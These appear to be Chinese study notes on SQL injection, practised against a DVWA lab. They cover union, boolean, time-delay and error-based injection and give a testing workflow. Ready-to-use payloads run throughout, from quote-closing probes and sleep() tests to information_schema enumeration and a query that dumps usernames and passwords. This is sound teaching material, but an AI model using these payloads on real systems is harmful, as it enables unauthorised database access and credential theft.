sql 注入

order by 猜解字段
union 联合查询 列数相同

布尔注入 判断条件真假
猜测闭合 使用单引号或者双引号 ' "
' or 1 =1 -- '

http://192.168.10.157/dvwa/vulnerabilities/sqli/?id='or 1=1 -- '&Submit=Submit#
转码后:
http://192.168.10.157/dvwa/vulnerabilities/sqli/?id=%27+or+1%3D1+--+%27&Submit=Submit#
’表示%27
=表示%3D


联合注入 union

—limit 长度
TABLE_CATALOG: NULL
TABLE_SCHEMA: yazd 库名
TABLE_NAME: yazduserprop 表名
COLUMN_NAME: xxx 字段名
TABLE_TYPE: BASE TABLE
ENGINE: MyISAM
VERSION: 10
ROW_FORMAT: Dynamic
TABLE_ROWS: 13
AVG_ROW_LENGTH: 30
DATA_LENGTH: 392
MAX_DATA_LENGTH: 281474976710655
INDEX_LENGTH: 2048
DATA_FREE: 0
AUTO_INCREMENT: NULL
CREATE_TIME: 2012-07-13 16:21:01
UPDATE_TIME: 2012-07-13 16:26:26
CHECK_TIME: 2012-07-13 16:26:26
TABLE_COLLATION: latin1_swedish_ci
CHECKSUM: NULL
CREATE_OPTIONS:
TABLE_COMMENT:

延时注入 条件查看时间延迟语句是否执行
报错注入 页面返回错误信息

字符型 或者数值型
字符型 1'or '1'='1
数值型 1or 1=1

测试sql注入流程

判断是否存在注入点:
1.报错注入:
输入单引号或者反斜杠
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

语法报错 ,说明输入内容没做处理。存在注入点。

2.延时注入盲注:
输入单引号或者反斜杠不显示报错,尝试用sleep方法(1' or sleep(5)-- ‘ )

如网页显示加载状态,判断这里有注入点。


测试查询语句的字段数。
' union select 1 --
如果有报错表示字段数不对,继续追加数值 ' union select 1,2 -- 知道不报错

查询相关信息 数据库版本version(),当前用户user() ,当前数据库database()
' union select version() ,user() --


多字段拼接concat
' union select concat(version(),database()),user() --

# mysql 5.0 存在information_schema记录数据库的信息

查询当前用户可查看的数据库
' union select group_concat(table_schema),1 from information_schema.tables --

查询库和表
' union select table_schema,table_name from information_schema.tables where information_schema.tables = database() --

查询users表的字段信息
' union select 1,column_name from information_schema.columns where table_name='users' --

查询账户密码
' union select user,password from users --


1111 union select 1,2 and sleep(5)


1111 union select 1,table_name from information_schema.tables where table_schema=database() 查看当前所有表名

原文地址:https://www.cnblogs.com/donglian1/p/13991543.html